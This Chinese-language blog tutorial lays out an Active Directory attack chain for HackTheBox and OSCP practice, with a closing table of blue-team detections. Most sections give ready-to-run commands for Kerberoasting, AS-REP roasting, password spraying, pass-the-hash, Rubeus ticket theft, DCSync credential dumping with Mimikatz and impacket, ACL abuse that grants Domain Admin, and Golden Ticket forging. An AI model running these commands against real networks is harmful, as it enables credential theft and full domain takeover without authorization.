Skip to content

AD 域渗透攻击链全解:从普通域用户到域控的完整攻击地图

声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于 HackTheBox 等合法靶机平台。


引言:为什么 AD 攻击是企业渗透的核心战场

现实中的企业网络,十之八九在用 Active Directory(AD)。AD 是微软的集中式身份和访问管理系统,管理所有用户、计算机、策略——这也意味着,攻破 AD 就等于攻破整个企业网络。

我第一次打 AD 靶机(HTB Forest)的时候,面对 BloodHound 那张庞大的关系图,完全不知从哪入手。打了十几台 AD 靶机之后,才慢慢摸清一个规律:AD 渗透有固定的攻击链,核心节点就那几个,绕来绕去都是这些技术

这篇文章把 AD 攻击的完整链路系统化——从如何在域内立足、到获取域控权限、最后持久化,每个环节都有原理解释和实战命令。

适合读者:已理解基础渗透流程,想系统学习 AD 攻击的安全从业者、OSCP/CRTE 备考者。


一、AD 基础:你必须理解这些概念

核心组件

组件说明
域控(DC)AD 的大脑,管理所有认证和授权
域用户AD 管理的用户账户
域计算机加入域的主机
安全组Domain Admins(DA)是目标
SPN服务主体名称,Kerberoasting 的关键
KRBTGT域中最关键的服务账户,持有 Golden Ticket 的密钥

Kerberos 认证流程(简化版)

用户登录

向 DC 请求 TGT(Ticket Granting Ticket)
   ↓ (AS-REQ / AS-REP)
拿到 TGT(用 KRBTGT 哈希加密)

用 TGT 向 DC 请求访问特定服务的票据(TGS)
   ↓ (TGS-REQ / TGS-REP)
拿到 TGS(用目标服务账户哈希加密)

用 TGS 访问服务

为什么 Kerberos 可以被攻击:TGS 是用服务账户的 NTLM 哈希加密的,任何域用户都能请求 TGS,然后离线暴力破解——这就是 Kerberoasting。


二、攻击链总览

域内立足点(低权限用户 / 机器账户)

   一、侦察与枚举
   BloodHound + PowerView 收集域结构

   二、密码攻击
   Kerberoasting / AS-REP Roasting / 密码喷洒

   三、横向移动
   PTH / PTT / Over-Pass-the-Hash / WinRM

   四、权限提升至 Domain Admin
   ACL 滥用 / DCSync / 特权账户

   五、持久化
   Golden Ticket / Silver Ticket / 后门账户

三、第一步:域内侦察

3.1 BloodHound(必跑)

BloodHound 把 AD 的关系图可视化,帮你找到从当前账户到 Domain Admin 的最短路径。

bash
# 方法一:SharpHound(在 Windows 靶机上运行)
.\SharpHound.exe -c All --zipfilename bloodhound.zip

# 方法二:bloodhound-python(从攻击机远程收集,无需在目标上运行工具)
pip install bloodhound
bloodhound-python -u user -p password -ns <DC_IP> -d domain.local -c All

BloodHound 必查的预置查询

查询作用
Find all Domain Admins确认目标账户
Find Shortest Paths to Domain Admins从当前账户到 DA 的最短路
Find Principals with DCSync Rights谁能 DCSync
Find AS-REP Roastable Users可 AS-REP 攻击的账户
Find Kerberoastable Users有 SPN 的服务账户

使用步骤

  1. 启动 neo4j:sudo neo4j start
  2. 启动 bloodhound:bloodhound
  3. 上传 .zip 文件
  4. 执行上述查询,右键高亮路径节点,看"滥用"说明(Abuse Info)

3.2 PowerView / LDAP 枚举

powershell
Import-Module .\PowerView.ps1

# 基础信息
Get-Domain
Get-DomainController
(Get-DomainPolicy)."system access"  # 查密码策略(锁定阈值)

# 找可 Kerberoast 的用户(有 SPN)
Get-DomainUser -SPN | Select-Object SamAccountName,ServicePrincipalName

# 找可 AS-REP Roast 的用户(不需要预认证)
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select-Object SamAccountName

# 找 Domain Admins 成员
Get-DomainGroupMember "Domain Admins" | Select-Object MemberName,MemberSID

# ACL 枚举(找可利用的权限关系)
Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN,ActiveDirectoryRights,IdentityReferenceName

四、第二步:密码攻击

4.1 Kerberoasting(最高频攻击)

原理:任何域用户都可以请求有 SPN 的服务账户的 TGS,拿到后离线破解。

bash
# 攻击机执行(impacket)
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request
# 输出 $krb5tgs$23$... 格式的哈希

# 破解(hashcat)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule
powershell
# Windows 上(Rubeus)
.\Rubeus.exe kerberoast /nowrap
# 直接输出格式化的哈希,复制去 hashcat

HTB 经验:HTB Forest、Active 靶机的核心就是 Kerberoasting,服务账户密码通常在 rockyou 前几十万条里。

4.2 AS-REP Roasting

原理:如果用户设置了"不需要 Kerberos 预身份验证",攻击者无需凭据就能获取 AS-REP,其中包含用用户哈希加密的部分,可离线破解。

bash
# 无凭据枚举 AS-REP Roastable 用户
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
impacket-GetNPUsers domain.local/ -dc-ip <DC_IP> -request -no-pass -usersfile users.txt -format hashcat

# 破解
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt

HTB 经验:HTB Forest 靶机的初始立足点就是 AS-REP Roasting,通过 LDAP 匿名枚举拿到用户名列表,再 AS-REP Roasting 拿到密码。

4.3 密码喷洒(Password Spray)

适合场景:有用户名列表,不知道密码,但想避免账户锁定。

bash
# CrackMapExec(最常用)
crackmapexec smb <DC_IP> -u users.txt -p 'Welcome1!' --continue-on-success

# Kerbrute(不会触发传统的账户锁定日志)
./kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Welcome1!'
./kerbrute userenum -d domain.local --dc <DC_IP> users.txt  # 先枚举有效用户

密码喷洒原则:先查密码策略(锁定阈值通常是 5 次),每批喷洒不超过 3 次,批次之间等待锁定窗口(通常 30 分钟)。


五、第三步:横向移动

有了凭据(密码或哈希),横向移动到更高权限的机器。

5.1 Pass-the-Hash(PTH)

原理:Windows 的 NTLM 认证可以直接用哈希,不需要明文密码。

bash
# impacket-psexec(最常用,会有系统日志)
impacket-psexec domain/admin@<target> -hashes :NTLM_HASH

# evil-winrm(安静,走 WinRM 5985 端口)
evil-winrm -i <target> -u admin -H NTLM_HASH

# CrackMapExec(验证 + 执行命令)
crackmapexec smb <target> -u admin -H NTLM_HASH -x "whoami"
crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH  # 批量验证

5.2 Pass-the-Ticket(PTT)

powershell
# Rubeus 导出票据
.\Rubeus.exe dump /nowrap

# 导入特定票据
.\Rubeus.exe ptt /ticket:<base64_ticket>

# 验证
klist

5.3 Over-Pass-the-Hash

用 NTLM 哈希申请 Kerberos 票据,绕过只检查 Kerberos 的场景:

powershell
.\Rubeus.exe asktgt /domain:domain.local /user:admin /rc4:NTLM_HASH /ptt

六、第四步:关键域攻击

6.1 DCSync(获取所有哈希的终极手段)

前提:有 DS-Replication-Get-Changes-All 权限(DA、EA 或被授权账户)

bash
# impacket(在攻击机执行)
impacket-secretsdump domain/admin:password@<DC_IP>
impacket-secretsdump domain/admin@<DC_IP> -hashes :NTLM_HASH

# 只导出 krbtgt(用于 Golden Ticket)
impacket-secretsdump domain/admin:password@<DC_IP> -just-dc-user krbtgt
powershell
# Mimikatz(在目标机执行)
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:domain.local /user:krbtgt" exit

拿到 krbtgt 哈希意味着你可以伪造任意票据(Golden Ticket)——这是域的最终沦陷。

6.2 ACL 滥用(BloodHound 最核心的价值)

BloodHound 把可利用的 ACL 权限可视化,常见场景:

ACL 权限目标利用方式
GenericAll on User任意用户修改密码 / 添加 SPN
GenericAll on GroupDomain Admins把自己加进去
GenericWrite on User服务账户添加 SPN → Kerberoast
WriteDACL域对象给自己加 DCSync 权限
ForceChangePassword管理员账户强制修改密码
powershell
# 利用 GenericAll 修改用户密码(PowerView)
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

# 利用 GenericAll 将自己加入 Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members "currentuser"
Verify: Get-DomainGroupMember "Domain Admins"

# 利用 WriteDACL 给自己加 DCSync 权限
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity currentuser -Rights DCSync
# 然后执行 DCSync

6.3 Golden Ticket(持久化神器)

前提:获得 krbtgt 账户的 NTLM 哈希

bash
# impacket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.local/Administrator@<DC>
powershell
# Mimikatz
.\mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt" exit

Golden Ticket 的恐怖之处:即使域管理员重置了密码,只要 krbtgt 哈希不变,Golden Ticket 就永久有效(默认 10 年)。


七、完整 AD 攻击路径速查

域内立足点(普通用户)

[BloodHound + PowerView 枚举]
    ├─→ AS-REP Roastable 用户? → AS-REP Roast → 破解 → 更高权限账户
    ├─→ Kerberoastable 服务账户? → Kerberoast → 破解 → 横向
    └─→ ACL 可利用? → GenericAll/WriteDACL → 加入 DA 或 DCSync 权限

        [横向移动到 DC 附近的机器]
        PTH / evil-winrm / psexec

        [DCSync 或直接 LSASS 转储]
        获取 krbtgt 哈希 + Administrator 哈希

        [Golden Ticket 持久化]
        域永久后门

八、蓝队防御建议

攻击技术检测 / 防御
Kerberoasting监控 TGS 请求(4769);服务账户密码 25 位以上
AS-REP Roasting检查不需要预认证的账户,确保有实际需要才禁用
DCSync监控 4662 事件(DS-Replication-Get-Changes);严格控制复制权限
PTH启用 Windows Credential Guard;禁用 NTLM(较复杂)
Golden Ticket监控异常 TGT(生命周期过长);定期双重重置 krbtgt 密码
BloodHound 收集监控 LDAP 大量查询(4662);限制 LDAP 匿名访问

关键收获

  1. BloodHound 是 AD 渗透的眼睛:没有 BloodHound 就是蒙眼走路,任何时候都要先跑收集。
  2. Kerberoasting 是最低门槛的 AD 攻击:只需要一个普通域用户,就能获取服务账户的哈希。
  3. krbtgt 哈希 = 游戏结束:拿到它意味着可以伪造任意用户的票据,整个域都在掌控之中。

参考资料

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量